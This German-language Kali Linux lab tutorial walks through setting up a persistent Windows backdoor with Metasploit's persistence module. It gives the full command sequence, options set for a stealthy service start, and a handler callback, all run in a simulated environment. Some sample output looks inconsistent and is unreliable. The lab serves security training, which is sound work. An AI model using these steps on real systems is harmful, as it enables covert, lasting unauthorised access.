Persistenz mit einem Metasploit-Modul etablieren

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie den grundlegenden Prozess der Etablierung von Persistenz auf einem Zielsystem mithilfe des Metasploit Frameworks. Persistenz ist eine kritische Phase beim Penetration Testing, die es einem Angreifer ermöglicht, den Zugriff auf ein kompromittiertes System aufrechtzuerhalten, selbst wenn dieses neu gestartet wird oder die ursprüngliche Verbindung verloren geht. Wir werden untersuchen, wie ein spezifisches Metasploit-Modul verwendet wird, um eine Backdoor zu erstellen, die sich automatisch mit Ihrem Rechner verbindet. Dieses Lab konzentriert sich auf die Befehle und Konzepte in einer kontrollierten, simulierten Umgebung.

Erlangung einer privilegierten Meterpreter-Sitzung auf einem Ziel

In diesem Schritt starten wir das Metasploit Framework und verstehen den Kontext für unsere Aufgabe. Bei einem echten Penetrationstest ist die Etablierung von Persistenz eine Aktivität nach der Kompromittierung (post-exploitation). Das bedeutet, dass Sie bereits initialen Zugriff auf das Zielsystem erlangt haben, typischerweise in Form einer Meterpreter-Sitzung.

Für dieses Lab konzentrieren wir uns auf die Befehle und Verfahren zur Einrichtung von Persistenz. Wir gehen davon aus, dass Sie bereits erfolgreich ein Ziel kompromittiert und eine Meterpreter-Sitzung im Hintergrund laufen haben.

Zuerst starten wir die Metasploit-Konsole über das Terminal. Das Flag -q sorgt für einen leisen Start und unterdrückt das Startbanner.

msfconsole -q

Ihr Befehlszeilen-Prompt sollte sich nun zu msf6 > ändern, was anzeigt, dass Sie sich innerhalb des Metasploit Frameworks befinden.

In einem realen Szenario mit einer aktiven Sitzung könnten Sie diese mit dem Befehl sessions auflisten. Um mit ihr zu interagieren, würden Sie sessions -i <session_id> verwenden. Um zum msf6 > Prompt zurückzukehren und Post-Exploitation-Module zu nutzen, würden Sie den Befehl background innerhalb der Meterpreter-Sitzung verwenden. Wir fahren fort, als hätten wir unsere Sitzung bereits in den Hintergrund verschoben.

Suche nach Post-Exploitation-Modulen für Persistenz

In diesem Schritt suchen wir nach Modulen innerhalb von Metasploit, die uns bei der Etablierung von Persistenz helfen können. Metasploit verfügt über eine leistungsstarke Suchfunktion, mit der Sie Module basierend auf Schlüsselwörtern, Typ, Plattform und mehr finden können.

Wir suchen nach einem Modul, das mit "persistence" zu tun hat. Verwenden wir den Befehl search in der Metasploit-Konsole, um relevante Module zu finden.

search persistence

Dieser Befehl gibt eine Liste von Exploits, Hilfsmodulen (auxiliary) und Post-Exploitation-Modulen zurück, die mit dem Schlüsselwort übereinstimmen. Die Ausgabe zeigt den Namen des Moduls, das Offenlegungsdatum, den Rang und eine kurze Beschreibung.

Ihre Ausgabe wird ähnlich wie diese aussehen (einige Details können variieren):

Matching Modules
================

   ##   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/admin/http/dlink_dir_600_http_login    2013-02-01       normal     No     D-Link DIR-600 'dlink_user' Persistence
   1   exploit/linux/local/cron_persistence             2020-01-28       excellent  Yes    Cron Persistence
   2   exploit/osx/local/persistence                    2015-05-11       excellent  Yes    OS X Persistent Launchd Job
   3   exploit/windows/local/persistence                2012-08-20       excellent  No     Windows Persistent Service Installer
   4   exploit/windows/local/persistence_service        2014-09-11       excellent  Yes    Persistent Service Installer
   5   post/android/manage/remove_persistence           2018-09-20       normal     No     Remove persistence from device
   6   post/android/manage/set_persistence              2018-09-20       normal     No     Set persistence on device
   7   post/multi/manage/shell_to_meterpreter                          normal     No     Shell to Meterpreter Upgrade
   8   post/osx/manage/persistence                      2018-09-20       normal     No     Install persistence on OSX
   9   post/windows/manage/persistence_exe              2013-03-06       normal     No     Windows Manage Persistent EXE Payload
   10  post/windows/manage/ssh_inject                   2012-11-20       normal     No     Windows Manage SSH User Key Injection

Wie Sie sehen können, gibt es mehrere Optionen. Für dieses Lab konzentrieren wir uns auf exploit/windows/local/persistence, ein zuverlässiges und häufig verwendetes Modul zur Erstellung eines persistenten Dienstes auf Windows-Systemen.

Verwendung des Moduls exploit/windows/local/persistence

In diesem Schritt wählen wir das zuvor identifizierte Persistenzmodul aus. Der Befehl use in Metasploit lädt ein bestimmtes Modul in den aktuellen Kontext und ermöglicht Ihnen dessen Konfiguration und Ausführung.

Um das Modul auszuwählen, können Sie entweder seinen vollständigen Pfad eingeben oder seine Nummer aus den Suchergebnissen verwenden (z. B. use 3). Die Verwendung des vollständigen Pfads ist im Allgemeinen zuverlässiger, da sich die Nummern ändern können.

Laden wir das Modul exploit/windows/local/persistence.

use exploit/windows/local/persistence

Nachdem Sie diesen Befehl ausgeführt haben, ändert sich Ihr Prompt, um das aktuell geladene Modul widerzuspiegeln: msf6 exploit(windows/local/persistence) >.

Da das Modul nun geladen ist, können wir seine Optionen anzeigen, um zu sehen, was konfiguriert werden muss. Verwenden Sie den Befehl show options.

show options

Dies zeigt eine Tabelle aller Parameter an, die Sie für dieses Modul festlegen können, ihre aktuellen Werte und ob sie erforderlich sind.

Module options (exploit/windows/local/persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    10               yes       Delay in seconds for persistent payload to connect back
   LHOST                     no        The local listener IP address
   LPORT    4444             no        The local listener port
   REX_PORT 0                no        The port to connect to on the remote host
   SESSION                   yes       The session to run this module on
   STARTUP  USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
   ...

Beachten Sie, dass SESSION eine erforderliche Option ist. Hier würden Sie die ID Ihrer kompromittierten Meterpreter-Sitzung angeben.

Konfiguration von Optionen für automatischen Start und Payload

In diesem Schritt konfigurieren wir die notwendigen Optionen für unser Persistenzmodul. Basierend auf der Ausgabe von show options müssen wir mehrere Parameter festlegen, um zu definieren, wie der Persistenzmechanismus funktionieren soll. Der Befehl set wird verwendet, um diesen Optionen Werte zuzuweisen.

Zuerst geben wir die Sitzung an. In einem realen Szenario würden Sie die ID Ihrer aktiven Sitzung verwenden (z. B. set SESSION 1). Für dieses Lab setzen wir sie als Platzhalter auf 1.

set SESSION 1

Als Nächstes müssen wir die Payload konfigurieren, die der Persistenzmechanismus ausführen wird. Diese Payload wird zu unserer Maschine zurückrufen. Wir müssen LHOST (unsere IP-Adresse) und LPORT (der Port, auf dem wir lauschen werden) festlegen. Wir setzen LHOST auf die lokale Loopback-Adresse 127.0.0.1 und LPORT auf 4445 (um Konflikte mit anderen potenziellen Handlern zu vermeiden).

set LHOST 127.0.0.1
set LPORT 4445

Die Option STARTUP bestimmt, wie die Payload auf der Zielmaschine gestartet wird. Die Optionen sind USER (wird beim Benutzer-Login ausgeführt), SYSTEM (wird beim Systemstart ausgeführt) oder SERVICE (wird als Systemdienst ausgeführt). Wir wählen SERVICE für höhere Privilegien und Tarnung.

set STARTUP SERVICE

Sie können show options erneut ausführen, um zu überprüfen, ob alle Ihre Einstellungen korrekt angewendet wurden. Alle Werte, die Sie gerade festgelegt haben, sollten nun in der Spalte "Current Setting" angezeigt werden.

Ausführen des Moduls und Überprüfung des Persistenzmechanismus

Im letzten Schritt führen wir das Modul aus. Mit allen konfigurierten Optionen versucht die Ausführung des Moduls, das Persistenzskript über die angegebene Sitzung auf dem Zielsystem zu installieren. Um das Modul auszuführen, verwenden Sie einfach den Befehl run oder exploit.

run

Erwartetes Ergebnis: In unserer simulierten Umgebung schlägt dieser Befehl fehl, da keine aktive Sitzung mit der ID 1 vorhanden ist. Sie sehen eine Fehlermeldung ähnlich dieser:

[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.

Dies ist das erwartete Verhalten für dieses Lab, da wir nicht mit einem aktiven, kompromittierten Host arbeiten.

In einem realen Szenario mit einer gültigen Sitzung wäre die Ausgabe ganz anders. Sie würde zeigen, wie das Modul ein Skript hochlädt, die Registrierung ändert und bestätigt, dass der Persistenzmechanismus erfolgreich installiert wurde. Eine erfolgreiche Ausführung könnte wie folgt aussehen:

[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.

Um den Prozess in einem realen Test abzuschließen, würden Sie einen neuen Handler einrichten (use exploit/multi/handler), der mit demselben LHOST und LPORT (127.0.0.1 und 4445) konfiguriert ist. Nach dem Neustart des Zielcomputers würde die persistente Payload ausgeführt und eine Verbindung zu Ihrem Handler herstellen, wodurch Sie eine neue Meterpreter-Sitzung erhalten.

Zusammenfassung

In diesem Lab haben Sie den grundlegenden Prozess der Etablierung von Persistenz auf einem Zielsystem mithilfe des Metasploit Frameworks kennengelernt. Sie haben geübt, nach relevanten Modulen zu suchen, das Modul exploit/windows/local/persistence auszuwählen und zu konfigurieren sowie zu verstehen, wie es funktioniert.

Obwohl wir die Umgebung ohne ein reales Ziel simuliert haben, haben Sie die genauen Befehle und den Arbeitsablauf gelernt, die erforderlich sind, um eine persistente Backdoor in einem realen Penetrationstest zu erstellen. Diese Fähigkeit ist entscheidend für die Aufrechterhaltung des langfristigen Zugriffs während Sicherheitsbewertungen.

Herzlichen Glückwunsch zum Abschluss des Labs!